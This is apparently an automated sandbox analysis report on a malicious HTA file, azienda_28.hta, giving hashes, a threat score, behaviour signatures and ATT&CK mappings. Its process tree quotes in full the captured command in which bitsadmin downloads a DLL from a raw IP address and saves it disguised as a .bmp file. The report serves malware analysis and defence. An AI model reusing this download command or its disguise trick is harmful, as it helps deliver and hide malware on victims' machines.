a26d98cb5bbca932c7fe3e544ba76b2121c82628486cb8215b8d199c23499d90

Analysis

max time kernel
150s
max time network
155s
platform
windows10-2004_x64
resource
win10v2004-20220812-en
resource tags

arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
submitted
07/02/2023, 08:43

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General

Target
azienda_28.hta
Size 6KB
Sample230207-kmk8esae87
SHA256 0e34b4a7b619cef883e796c0665810814f9455e166cc7b15111b431933978f12
MD5 3247f4e6865474d3e72db0e35b1398d7
SHA1 f9d7dbeec832253e17fd487d489b7ddd17cf3a96
SHA512 c346f300cbfe78a27eb8d3914da725b7d38d067486d3d136409c8b0ea4749df57127782b7a90e354d5c2dd7142f4b62ebf610b87ba236b6403afab88b275f704
SSDEEP 192:IRHBWU77rIKdn863jMM0OD9+VVF4vx4kuO:IRL7EOM7/F4XuO
MD5 SHA1 SHA512 SSDEEP

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 4 IoCs

flow	pid	Process
6	4884	mshta.exe
8	4884	mshta.exe
13	4884	mshta.exe
23	4884	mshta.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation	mshta.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Download via BitsAdmin 1 TTPs 1 IoCs

dropper

BITS Jobs

T1197

pid	Process
1132	bitsadmin.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 4884 wrote to memory of 1132	4884	mshta.exe	83
PID 4884 wrote to memory of 1132	4884	mshta.exe	83
PID 4884 wrote to memory of 1132	4884	mshta.exe	83

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\azienda_28.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4884
- C:\Windows\SysWOW64\bitsadmin.exe
  "C:\Windows\System32\bitsadmin.exe" /transfer 8 http://62.173.147.2/azienda.dll C:\Windows\\System32\\LogFiles\\\login.bmp
  2⤵
  - Download via BitsAdmin
  PID:1132

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

BITS Jobs

T1197

Privilege Escalation

Defense Evasion

BITS Jobs

T1197

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads